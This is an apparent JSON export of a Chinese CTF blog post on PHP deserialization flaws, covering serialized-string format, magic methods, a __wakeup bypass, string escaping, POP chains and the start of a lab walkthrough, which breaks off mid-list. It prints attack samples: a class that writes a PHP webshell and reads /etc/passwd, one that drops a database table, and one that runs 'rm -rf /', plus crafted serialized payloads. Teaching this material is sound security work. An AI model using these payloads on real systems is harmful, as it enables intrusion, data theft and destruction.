{"id":268,"date":"2025-11-08T20:14:47","date_gmt":"2025-11-08T12:14:47","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=268"},"modified":"2025-11-08T20:14:48","modified_gmt":"2025-11-08T12:14:48","slug":"unserialize%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=268","title":{"rendered":"unserialize\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"},"content":{"rendered":"\n

\u4e3b\u8981\u4ee5PHP\u4e3a\u4e3b<\/p>\n\n\n\n

\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316<\/h2>\n\n\n\n

\u5e8f\u5217\u5316(serialize) \u5c31\u5c06\u5bf9\u8c61\u7684\u72b6\u6001\u4fe1\u606f\u8f6c\u6362\u4e3a\u53ef\u4ee5\u5b58\u50a8\u6216\u4f20\u8f93\u7684\u5f62\u5f0f\u7684\u8fc7\u7a0b \u5728\u5e8f\u5217\u5316\u671f\u95f4\uff0c\u5bf9\u8c61\u5c06\u5f53\u524d\u7684\u72b6\u6001\u5199\u5165\u5230\u4e34\u65f6\u6216\u6301\u4e45\u6027\u7684\u5b58\u50a8\u533a \u3010\u5c06\u72b6\u6001\u4fe1\u606f\u4fdd\u5b58\u4e3a\u5b57\u7b26\u4e32\u3011\u3002\u5c06\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\uff0c\u4ee5\u4fbf\u5b58\u50a8\u6216\u4f20\u8f93,\u7b80\u5355\u7684\u7406\u89e3\uff1a\u5c06PHP\u4e2d \u5bf9\u8c61\u3001\u7c7b\u3001\u6570\u7ec4\u3001\u53d8\u91cf\u3001\u533f\u540d\u51fd\u6570\u7b49\uff0c\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32\uff0c\u65b9\u4fbf\u4fdd\u5b58\u5230\u6570\u636e\u5e93\u6216\u8005\u6587\u4ef6\u4e2d<\/p>\n\n\n\n

\u53cd\u5e8f\u5217\u5316(unserialize) \u5c31\u662f\u628a\u5e8f\u5217\u5316\u4e4b\u540e\u7684\u5b57\u7b26\u4e32\u5728\u8f6c\u5316\u4e3a\u5bf9\u8c61\u3002<\/p>\n\n\n\n

\u5176\u5b9e\u8fd9\u4e2a\u5c31\u50cf\u6e38\u620f\u5b58\u6863\uff0c\u5b58\u6863\u5c31\u662f\u628a\u4f60\u6e38\u620f\u7528\u6237\u7684\u72b6\u6001\u548c\u6570\u636e\u5b58\u50a8\u5230\u672c\u5730\u6216\u8005\u670d\u52a1\u5668 \u800c\u8fd9\u4e2a\u5b58\u6863\u5c31\u662f\u5e8f\u5217\u5316<\/strong>\uff0c\u8bfb\u6863\u5c31\u662f\u53cd\u5e8f\u5217\u5316\uff0c\u5c31\u884c\u5355\u673a\u6e38\u620f\uff0c\u628a\u5b58\u6863\u6e38\u620f\u91cc\u9762\u7684\u6570\u636e\u6539\u6539\uff0c\u5c31\u76f4\u63a5\u5f00\u6302\u4e86<\/p>\n\n\n\n

\u5e8f\u5217\u5316 (Serialization)<\/h3>\n\n\n\n

\u5c06\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u7684\u8fc7\u7a0b\uff0c\u4fbf\u4e8e\u5b58\u50a8\u6216\u4f20\u8f93<\/p>\n\n\n\n

<?php\nclass User {\n    public $username = 'admin';\n    private $password = '123456';\n}\n\n$user = new User();\n$serialized = serialize($user);\necho $serialized;\n\/\/ \u8f93\u51fa: O:4:\"User\":2:{s:8:\"username\";s:5:\"admin\";s:15:\"Userpassword\";s:6:\"123456\";}\n?><\/code><\/pre>\n\n\n\n
\u53cd\u5e8f\u5217\u5316 (Unserialization)<\/h3>\n\n\n\n
\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u56de\u5bf9\u8c61\u7684\u8fc7\u7a0b<\/p>\n\n\n\n
<?php\n$data = 'O:4:\"User\":2:{s:8:\"username\";s:5:\"admin\";s:15:\"Userpassword\";s:6:\"123456\";}';\n$user = unserialize($data);\necho $user->username; \/\/ \u8f93\u51fa: admin\n?><\/code><\/pre>\n\n\n\n
\u4e3a\u4ec0\u4e48\u4f1a\u4ea7\u751f\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h2>\n\n\n\n
\u5f53\u53cd\u5e8f\u5217\u5316\u7528\u6237\u53ef\u63a7\u7684\u6570\u636e<\/strong>\u65f6\uff0c\u5982\u679c\u7c7b\u4e2d\u5b58\u5728\u9b54\u672f\u65b9\u6cd5<\/strong>\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e\u6765\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u901a\u8fc7\u6211\u4eec\u7684\u6076\u610f\u7be1\u6539\u4f1a\u4ea7\u751f\u9b54\u6cd5\u51fd\u6570\u7ed5\u8fc7\uff0c\u5b57\u7b26\u9003\u9038\uff0c\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u7b49\u6f0f\u6d1e,\u8d28\u4e0a\u53cd\u5e8f\u5217\u5316\u662f\u6ca1\u6709\u5371\u5bb3\u7684\u3002\u4f46\u662f\u5982\u679c\u7528\u6237\u5bf9\u6570\u636e\u53ef\u63a7\u90a3\u5c31\u53ef\u4ee5\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6784\u9020payload\u653b\u51fb<\/p>\n\n\n\n
\u672c\u8d28\u4e0aserialize()\u548cunserialize()\u5728PHP\u5185\u90e8\u5b9e\u73b0\u4e0a\u662f\u6ca1\u6709\u6f0f\u6d1e\u7684\uff0c\u6f0f\u6d1e\u7684\u4e3b\u8981\u4ea7\u751f\u662f\u7531\u4e8e\u5e94\u7528\u7a0b\u5e8f\u5728\u5904\u7406\u5bf9\u8c61\u3001\u9b54\u672f\u51fd\u6570\u4ee5\u53ca\u5e8f\u5217\u5316\u76f8\u5173\u95ee\u9898\u7684\u65f6\u5019\u5bfc\u81f4\u7684\u3002\u5f53\u4f20\u7ed9 unserialize() \u7684\u53c2\u6570\u53ef\u63a7\u65f6\uff0c\u90a3\u4e48\u7528\u6237\u5c31\u53ef\u4ee5\u6ce8\u5165\u7cbe\u5fc3\u6784\u9020\u7684payload\u3002\u5f53\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5c31\u6709\u53ef\u80fd\u4f1a\u89e6\u53d1\u5bf9\u8c61\u4e2d\u7684\u4e00\u4e9b\u9b54\u672f\u65b9\u6cd5\uff0c\u9020\u6210\u610f\u60f3\u4e0d\u5230\u7684\u5371\u5bb3\u3002<\/p>\n\n\n\n
\u5e38\u89c1\u8bed\u8a00\u4e2d\u7684\u53cd\u5e8f\u5217\u5316\u51fd\u6570<\/h3>\n\n\n\n
\u8bed\u8a00<\/th>\u5e8f\u5217\u5316\u51fd\u6570<\/th>\u53cd\u5e8f\u5217\u5316\u51fd\u6570<\/th><\/tr><\/thead>
PHP<\/td>serialize()<\/code><\/td>unserialize()<\/code><\/td><\/tr>
Python<\/td>pickle.dumps<\/code><\/td>pickle.loads()<\/code><\/td><\/tr>
Java<\/td>ObjectOutputStream<\/code><\/td>ObjectInputStream<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u5371\u5bb3<\/h2>\n\n\n\n
1.\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c (RCE)\n\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\n\u63a7\u5236\u670d\u52a1\u5668\n\n2.\u6587\u4ef6\u64cd\u4f5c\n\u8bfb\u53d6\u654f\u611f\u6587\u4ef6 (\/etc\/passwd, \u914d\u7f6e\u6587\u4ef6)\n\u5199\u5165Webshell\n\u5220\u9664\u91cd\u8981\u6587\u4ef6\n\u4fe1\u606f\u6cc4\u9732\n\n3.\u83b7\u53d6\u6570\u636e\u5e93\u5bc6\u7801\n\u7a83\u53d6\u7528\u6237\u6570\u636e\n\u8bfb\u53d6\u6e90\u4ee3\u7801\n\n4.\u6743\u9650\u63d0\u5347\n\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1\n\u63d0\u5347\u7528\u6237\u6743\u9650\n\n5.\u62d2\u7edd\u670d\u52a1 (DoS)\n\u6d88\u8017\u670d\u52a1\u5668\u8d44\u6e90\n\u5bfc\u81f4\u670d\u52a1\u5d29\u6e83\n\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e\uff0c\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u64cd\u4f5c\uff0c\u5b8c\u5168\u63a7\u5236\u7cfb\u7edf\u3002<\/code><\/pre>\n\n\n\n
\u5e38\u7528\u5de5\u5177<\/h2>\n\n\n\n
Java\u53cd\u5e8f\u5217\u5316\u5de5\u5177YSoSerial.jar<\/a><\/p>\n\n\n\n
PHP\u53cd\u5e8f\u5217\u5316\u5de5\u5177PHPGGC<\/a><\/p>\n\n\n\n
.NET\u53cd\u5e8f\u5217\u5316\u5de5\u5177YSoSerial.NET<\/a><\/p>\n\n\n\n
PHP \u9b54\u6cd5\u51fd\u6570<\/h2>\n\n\n\n
\u9b54\u6cd5\u51fd\u6570<\/th>\u8c03\u7528\u7684\u65f6\u673a<\/th>\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e2d\u7684\u4f5c\u7528<\/th>\u793a\u4f8b<\/th><\/tr><\/thead>
__construct()<\/code><\/strong><\/td>\u521d\u59cb\u5316\u7c7b\u7684\u65f6\u5019\uff0c\u4e00\u822c\u5bf9\u4e8e\u53d8\u91cf\u8fdb\u884c\u8d4b\u503c<\/td>\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u4e0d\u4f1a<\/strong>\u81ea\u52a8\u8c03\u7528<\/td>$obj = new MyClass();<\/code><\/td><\/tr>
__destruct()<\/code><\/strong><\/td>\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u89e6\u53d1\uff08\u7a0b\u5e8f\u7ed3\u675f\u3001unset\u7b49\uff09<\/td>\u9ad8\u5371<\/strong> – \u5e38\u7528\u4e8e\u6267\u884c\u6076\u610f\u4ee3\u7801<\/td>unset($obj);<\/code> \u6216\u811a\u672c\u7ed3\u675f\u65f6<\/td><\/tr>
__toString()<\/code><\/strong><\/td>\u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32\u4f7f\u7528\u65f6\u89e6\u53d1<\/td>\u4e2d\u5371<\/strong> – \u53ef\u80fd\u89e6\u53d1\u5176\u4ed6\u5371\u9669\u65b9\u6cd5<\/td>echo $obj;<\/code> \u6216\u5b57\u7b26\u4e32\u62fc\u63a5<\/td><\/tr>
__wakeup()<\/code><\/strong><\/td>\u4f7f\u7528unserialize\u65f6\u89e6\u53d1\uff0c\u53cd\u5e8f\u5217\u5316\u6062\u590d\u5bf9\u8c61\u4e4b\u524d\u8c03\u7528<\/td>\u9ad8\u5371<\/strong> – \u53cd\u5e8f\u5217\u5316\u65f6\u7b2c\u4e00\u4e2a\u6267\u884c\u7684\u9b54\u672f\u65b9\u6cd5<\/td>unserialize($data)<\/code><\/td><\/tr>
__sleep()<\/code><\/strong><\/td>\u4f7f\u7528serialize\u65f6\u89e6\u53d1\uff0c\u8fd4\u56de\u8981\u5e8f\u5217\u5316\u7684\u5c5e\u6027\u6570\u7ec4<\/td>\u4f4e\u5371 – \u4e3b\u8981\u7528\u4e8e\u63a7\u5236\u5e8f\u5217\u5316\u5185\u5bb9<\/td>serialize($obj)<\/code><\/td><\/tr>
__invoke()<\/code><\/strong><\/td>\u5f53\u811a\u672c\u5c1d\u8bd5\u5c06\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570\u65f6\u89e6\u53d1<\/td>\u4e2d\u5371 – \u53ef\u80fd\u88ab\u5229\u7528\u6267\u884c\u4ee3\u7801<\/td>$obj()<\/code><\/td><\/tr>
__call()<\/code><\/strong><\/td>\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1<\/td>\u4e2d\u5371 – \u53ef\u80fd\u6267\u884c\u52a8\u6001\u4ee3\u7801<\/td>$obj->undefinedMethod()<\/code><\/td><\/tr>
__callStatic()<\/code><\/strong><\/td>\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u9759\u6001\u65b9\u6cd5\u65f6\u89e6\u53d1<\/td>\u4e2d\u5371 – \u9759\u6001\u65b9\u6cd5\u8c03\u7528<\/td>MyClass::undefinedMethod()<\/code><\/td><\/tr>
__get()<\/code><\/strong><\/td>\u8bfb\u53d6\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u65f6\u89e6\u53d1<\/td>\u4f4e\u5371 – \u53ef\u80fd\u89e6\u53d1\u4fe1\u606f\u6cc4\u9732<\/td>echo $obj->undefinedProperty<\/code><\/td><\/tr>
__set()<\/code><\/strong><\/td>\u7ed9\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8d4b\u503c\u65f6\u89e6\u53d1<\/td>\u4f4e\u5371 – \u53ef\u80fd\u7528\u4e8e\u5c5e\u6027\u6c61\u67d3<\/td>$obj->undefinedProperty = 'value'<\/code><\/td><\/tr>
__isset()<\/code><\/strong><\/td>\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8c03\u7528isset()\u6216empty()\u65f6\u89e6\u53d1<\/td>\u4f4e\u5371 – \u5f71\u54cd\u5c5e\u6027\u68c0\u67e5<\/td>isset($obj->undefinedProperty)<\/code><\/td><\/tr>
__unset()<\/code><\/strong><\/td>\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8c03\u7528unset()\u65f6\u89e6\u53d1<\/td>\u4f4e\u5371 – \u5f71\u54cd\u5c5e\u6027\u5220\u9664<\/td>unset($obj->undefinedProperty)<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u5e8f\u5217\u5316\u8fc7\u7a0b<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7c7b\u5b9a\u4e49<\/strong><\/p>\n\n\n\n
class chybeta{\n    var $test = '123';  \/\/ \u9ed8\u8ba4\u5c5e\u6027\u503c\n}<\/code><\/pre>\n\n\n\n
    \n
  • \u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3a chybeta<\/code> \u7684\u7c7b<\/li>\n\n\n\n
  • \u6709\u4e00\u4e2a\u516c\u5171\u5c5e\u6027 test<\/code>\uff0c\u9ed8\u8ba4\u503c\u4e3a '123'<\/code><\/li>\n<\/ul>\n\n\n\n
    \u5e8f\u5217\u5316\u683c\u5f0f\u89e3\u6790:<\/strong><\/p>\n\n\n\n
      \n
    • O:7:\"chybeta\"<\/code> – O\u8868\u793aobject\u5bf9\u8c61\uff0c7\u8868\u793a\u5bf9\u8c61\u540d\u79f0\u67097\u4e2a\u5b57\u7b26\uff0c”chybeta”\u662f\u5bf9\u8c61\u540d\u79f0<\/li>\n\n\n\n
    • :1:<\/code> – \u8868\u793a\u5bf9\u8c61\u67091\u4e2a\u5c5e\u6027<\/li>\n\n\n\n
    • {s:4:\"test\";s:3:\"123\";}<\/code> – \u82b1\u62ec\u53f7\u5185\u662f\u5c5e\u6027\u8be6\u60c5\n
        \n
      • s:4:\"test\"<\/code> – s\u8868\u793astring\u5b57\u7b26\u4e32\uff0c4\u8868\u793a\u5c5e\u6027\u540d”test”\u7684\u957f\u5ea6<\/li>\n\n\n\n
      • s:3:\"123\"<\/code> – s\u8868\u793astring\u5b57\u7b26\u4e32\uff0c3\u8868\u793a\u5c5e\u6027\u503c”123″\u7684\u957f\u5ea6<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n
        O:7:\"chybeta\":1:{s:4:\"test\";s:3:\"124\";}\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2502   \u2502    \u2502  \u2502   \u2502\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2502   \u2502    \u2502  \u2502   \u2514\u2500 \u5c5e\u6027\u503c\u7ed3\u675f\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2502   \u2502    \u2502  \u2514\u2500 \u5c5e\u6027\u503c\u5185\u5bb9\"124\"\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2502   \u2502    \u2514\u2500 \u5c5e\u6027\u503c\u957f\u5ea63\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2502   \u2514\u2500 \u5c5e\u6027\u503c\u7c7b\u578b(string)\n\u2502  \u2502    \u2502      \u2502  \u2502  \u2514\u2500 \u5c5e\u6027\u540d\"test\"\n\u2502  \u2502    \u2502      \u2502  \u2514\u2500 \u5c5e\u6027\u540d\u957f\u5ea64\n\u2502  \u2502    \u2502      \u2514\u2500 \u5c5e\u6027\u540d\u7c7b\u578b(string)\n\u2502  \u2502    \u2514\u2500 \u5c5e\u6027\u6570\u91cf1\n\u2502  \u2514\u2500 \u7c7b\u540d\"chybeta\"\n\u2514\u2500 \u5bf9\u8c61\u7c7b\u578b\u6807\u8bc6<\/code><\/pre>\n\n\n\n
        \u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b<\/h2>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b<\/strong><\/p>\n\n\n\n
        $class2_unser = unserialize($class2);<\/code><\/pre>\n\n\n\n
        PHP\u6267\u884c\u6b65\u9aa4\uff1a<\/strong><\/p>\n\n\n\n
          \n
        1. \u89e3\u6790\u5b57\u7b26\u4e32 O:7:\"chybeta\"<\/code><\/li>\n\n\n\n
        2. \u627e\u5230\u540d\u4e3a chybeta<\/code> \u7684\u7c7b<\/li>\n\n\n\n
        3. \u521b\u5efa chybeta<\/code> \u7c7b\u7684\u65b0\u5b9e\u4f8b<\/li>\n\n\n\n
        4. \u8bfb\u53d6\u5c5e\u6027\u5b9a\u4e49 {s:4:\"test\";s:3:\"124\";}<\/code><\/li>\n\n\n\n
        5. \u5c06\u5c5e\u6027 test<\/code> \u7684\u503c\u8bbe\u7f6e\u4e3a \"124\"<\/code>\uff08\u8986\u76d6\u9ed8\u8ba4\u503c \"123\"<\/code>\uff09<\/li>\n<\/ol>\n\n\n\n
          \u8f93\u51fa\u7ed3\u679c<\/strong><\/p>\n\n\n\n
          print_r($class2_unser);<\/code><\/pre>\n\n\n\n
          \u8f93\u51fa\uff1a<\/strong><\/p>\n\n\n\n
          chybeta Object ( [test] => 124 )<\/code><\/pre>\n\n\n\n
          \u6f0f\u6d1e\u5229\u7528\u573a\u666f<\/h2>\n\n\n\n
          \u6587\u4ef6\u64cd\u4f5c\u5229\u7528<\/h3>\n\n\n\n
          <?php\nclass FileExploit {\n    public $filename = '..\/..\/etc\/passwd';\n    public $content = '<?php system($_GET[\"cmd\"]); ?>';\n\n    public function __destruct() {\n        \/\/ \u6587\u4ef6\u5199\u5165\n        file_put_contents($this->filename, $this->content);\n\n        \/\/ \u6587\u4ef6\u8bfb\u53d6\n        echo file_get_contents('\/etc\/passwd');\n\n        \/\/ \u6587\u4ef6\u5220\u9664\n        unlink('important_file.php');\n    }\n}\n?><\/code><\/pre>\n\n\n\n
          \u6570\u636e\u5e93\u64cd\u4f5c\u5229\u7528<\/h3>\n\n\n\n
          <?php\nclass DatabaseExploit {\n    public $sql = \"DROP TABLE users\";\n    public $host = 'localhost';\n    public $user = 'root';\n    public $pass = 'password';\n    public $dbname = 'test';\n\n    public function __wakeup() {\n        $conn = new mysqli($this->host, $this->user, $this->pass, $this->dbname);\n        $conn->query($this->sql);\n    }\n}\n?><\/code><\/pre>\n\n\n\n
          \u547d\u4ee4\u6267\u884c\u5229\u7528<\/h3>\n\n\n\n
          <?php\nclass CommandExecution {\n    public $command = 'rm -rf \/';\n\n    public function __destruct() {\n        \/\/ \u76f4\u63a5\u6267\u884c\u547d\u4ee4\n        system($this->command);\n\n        \/\/ \u901a\u8fc7eval\u6267\u884c\n        eval($this->command);\n\n        \/\/ \u901a\u8fc7\u53cd\u5f15\u53f7\u6267\u884c\n        `$this->command`;\n    }\n}\n?><\/code><\/pre>\n\n\n\n
          1.\u7b80\u5355\u7684\u9b54\u6cd5\u51fd\u6570\u7ed5\u8fc7<\/h3>\n\n\n\n
          \"\"<\/div><\/figure>\n\n\n\n
            \n
          • \u6f0f\u6d1e\u539f\u7406<\/strong>\uff1a__wakeup()<\/code>\u9b54\u6cd5\u51fd\u6570\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u81ea\u52a8\u8c03\u7528\uff0c\u4f1a\u91cd\u7f6ecmd\u503c<\/li>\n\n\n\n
          • \u7ed5\u8fc7\u65b9\u6cd5<\/strong>\uff1a\u5f53\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u4e2d\u5bf9\u8c61\u5c5e\u6027\u6570\u91cf\u5927\u4e8e\u5b9e\u9645\u6570\u91cf\u65f6\uff0c__wakeup()<\/code>\u4e0d\u4f1a\u6267\u884c<\/li>\n\n\n\n
          • \u5229\u7528payload<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
            <?php\nclass MagicBypass {\n    public $cmd = \"cat \/flag.txt\";  \/\/ \u6216\u8005 type D:phpstudy_proWWWflag.txt\n}\n\necho urlencode(serialize(new MagicBypass()));\n\/\/ \u6b63\u5e38\u5e8f\u5217\u5316\uff1aO:11:\"MagicBypass\":1:{s:3:\"cmd\";s:13:\"cat \/flag.txt\";}\n\/\/ \u7ed5\u8fc7wakeup\uff1aO:11:\"MagicBypass\":2:{s:3:\"cmd\";s:13:\"cat \/flag.txt\";}\n?><\/code><\/pre>\n\n\n\n
            \u6b63\u5e38URL\u8bbf\u95ee\u5c31\u884c<\/p>\n\n\n\n
            \"\"<\/div><\/figure>\n\n\n\n
            \"\"<\/div><\/figure>\n\n\n\n
            2.\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u9003\u9038<\/h3>\n\n\n\n
            \"\"<\/div><\/figure>\n\n\n\n
              \n
            • \u6f0f\u6d1e\u539f\u7406<\/strong>\uff1a\u5b57\u7b26\u4e32\u66ff\u6362\u6539\u53d8\u4e86\u5e8f\u5217\u5316\u6570\u636e\u7684\u7ed3\u6784\uff0c\u9020\u6210\u5c5e\u6027\u9003\u9038<\/li>\n\n\n\n
            • \u5229\u7528\u65b9\u6cd5<\/strong>\uff1a\u901a\u8fc7\u7cbe\u5fc3\u6784\u9020\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff0c\u4f7f\u66ff\u6362\u540e\u7684\u5b57\u7b26\u4e32\u957f\u5ea6\u53d8\u5316\uff0c\u4ece\u800c\u63a7\u5236\u540e\u7eed\u5c5e\u6027<\/li>\n<\/ul>\n\n\n\n
              \u5229\u7528payload<\/strong>\uff1a<\/p>\n\n\n\n
              <?php\nclass StringEscape {\n    public $username = 'admin\";s:8:\"password\";s:5:\"admin\";s:8:\"is_admin\";b:1;}';\n    public $password = 'guest';\n    public $is_admin = false;\n}\n\n$payload = serialize(new StringEscape());\necho \"\u539f\u59cbpayload: \" . $payload . \"n\";\n\n\/\/ \u8ba1\u7b97\u9700\u8981\u9003\u9038\u7684\u5b57\u7b26\u6570\u5e76\u8fdb\u884c\u6784\u9020\n$target = '\";s:8:\"password\";s:5:\"admin\";s:8:\"is_admin\";b:1;}';\n$replace_count = 6; \/\/ \"admin\"\u88ab\u66ff\u6362\u4e3a\"guest\"\u51cf\u5c11\u7684\u5b57\u7b26\u6570\n\n\/\/ \u6784\u9020\u9003\u9038payload\n$escape_payload = '\";s:8:\"password\";s:5:\"admin\";s:8:\"is_admin\";b:1;}' . str_repeat('a', $replace_count);\n$final_payload = 'O:12:\"StringEscape\":3:{s:8:\"username\";s:' . strlen($escape_payload) . ':\"' . $escape_payload . '\";s:8:\"password\";s:5:\"guest\";s:8:\"is_admin\";b:0;}';\n\necho \"\u6700\u7ec8payload: \" . $final_payload;\n?><\/code><\/pre>\n\n\n\n
              http://192.168.11.1\/case1.php?sanjiu=O:12:%22StringEscape%22:3:{s:8:%22username%22;s:65:%22admin%22;s:8:%22password%22;s:5:%22admin%22;s:8:%22is_admin%22;b:1;}aaaaaaaa%22;s:8:%22password%22;s:5:%22guest%22;s:8:%22is_admin%22;b:0;}<\/code><\/pre>\n\n\n\n
              \"\"<\/div><\/figure>\n\n\n\n
              3.POP\u94fe\u6316\u6398<\/h3>\n\n\n\n
              \"\"<\/div><\/figure>\n\n\n\n
                \n
              • POP\u94fe\u539f\u7406<\/strong>\uff1a\u901a\u8fc7\u8fde\u63a5\u591a\u4e2a\u7c7b\u7684\u9b54\u6cd5\u51fd\u6570\u5f62\u6210\u653b\u51fb\u94fe<\/li>\n\n\n\n
              • \u94fe\u5f0f\u8c03\u7528<\/strong>\uff1aUser::wakeup() \u2192 FileReader::<\/strong>toString() \u2192 file_get_contents()<\/li>\n<\/ul>\n\n\n\n
                \u5229\u7528payload<\/strong>\uff1a<\/p>\n\n\n\n
                <?php\nclass FileReader {\n    public $filename = '\/flag.txt';\n}\n\nclass Logger {\n    public $log_message;\n}\n\nclass User {\n    public $username = 'admin';\n    public $profile;\n}\n\n\/\/ \u6784\u9020POP\u94fe\n$user = new User();\n$user->profile = new FileReader();\n\n$logger = new Logger();\n$logger->log_message = $user->profile;\n\necho urlencode(serialize($logger));\n?><\/code><\/pre>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \u6784\u9020\u7684payload<\/p>\n\n\n\n
                \u5177\u4f53\u5229\u7528\u65b9\u5f0f\u4e0d\u540c\u5176\u5b9e\u8fd8\u6709<\/p>\n\n\n\n
                  \n
                1. \u7c7b\u578b\u6df7\u6dc6<\/strong>\uff1a\u5728\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0c\u5982\u679c\u7a0b\u5e8f\u671f\u671b\u4e00\u79cd\u7c7b\u578b\u4f46\u5b9e\u9645\u4e0a\u5f97\u5230\u53e6\u4e00\u79cd\u7c7b\u578b\uff0c\u53ef\u80fd\u5bfc\u81f4\u903b\u8f91\u9519\u8bef\uff0c\u8fdb\u800c\u88ab\u5229\u7528\u3002<\/li>\n\n\n\n
                2. \u6ce8\u5165\u653b\u51fb<\/strong>\uff1a\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u6ce8\u5165\u6076\u610f\u5bf9\u8c61\uff0c\u4ece\u800c\u89e6\u53d1\u9b54\u6cd5\u51fd\u6570\u4e2d\u7684\u5371\u9669\u64cd\u4f5c\u3002<\/li>\n<\/ol>\n\n\n\n
                  \u9776\u573a<\/h2>\n\n\n\n
                  \"\"<\/div><\/figure>\n\n\n\n
                  \u4ee3\u7801\u4e2d\u7684System<\/code>\u7c7b\u5728__destruct<\/code>\u65b9\u6cd5\u4e2d\u4f7f\u7528\u4e86passthru($this->cmd)<\/code>\uff0c\u8fd9\u610f\u5473\u7740\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236$cmd<\/code>\u5c5e\u6027\uff0c\u5c31\u80fd\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\u3002\u901a\u8fc7\u5411data<\/code>\u53c2\u6570\u4f20\u9012\u4e00\u4e2a\u5e8f\u5217\u5316\u7684System<\/code>\u5bf9\u8c61\uff0c\u6211\u4eec\u53ef\u4ee5\u89e6\u53d1\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n
                  \u4ee3\u7801\u5ba1\u8ba1<\/strong>\uff1a<\/p>\n\n\n\n
                    \n
                  • System<\/code>\u7c7b\u6709\u4e00\u4e2acmd<\/code>\u5c5e\u6027\uff0c\u5728__destruct<\/code>\u65b9\u6cd5\u4e2d\uff0c\u5982\u679ccmd<\/code>\u5b58\u5728\u4e14\u975e\u7a7a\uff0c\u5219\u4f7f\u7528passthru<\/code>\u6267\u884c\u8be5\u547d\u4ee4\u3002<\/li>\n\n\n\n
                  • \u4ee3\u7801\u68c0\u67e5$_GET['data']<\/code>\uff0c\u5982\u679c\u5b58\u5728\uff0c\u5219\u5bf9\u5176\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u8fd9\u5141\u8bb8\u6211\u4eec\u901a\u8fc7\u63a7\u5236data<\/code>\u53c2\u6570\u6765\u5b9e\u4f8b\u5316\u4e00\u4e2aSystem<\/code>\u5bf9\u8c61\u3002<\/li>\n\n\n\n
                  • \u5f53\u811a\u672c\u7ed3\u675f\u6216\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\uff0c__destruct<\/code>\u65b9\u6cd5\u4f1a\u88ab\u8c03\u7528\uff0c\u4ece\u800c\u6267\u884c\u547d\u4ee4\u3002<\/li>\n<\/ul>\n\n\n\n
                    \u5229\u7528\u601d\u8def<\/strong>\uff1a<\/p>\n\n\n\n
                      \n
                    • \u6784\u9020\u4e00\u4e2a\u5e8f\u5217\u5316\u7684System<\/code>\u5bf9\u8c61\uff0c\u5176\u4e2dcmd<\/code>\u5c5e\u6027\u8bbe\u7f6e\u4e3a\u8981\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\uff08\u5982\u5217\u51fa\u76ee\u5f55\u6216\u8bfb\u53d6flag\u6587\u4ef6\uff09\u3002<\/li>\n\n\n\n
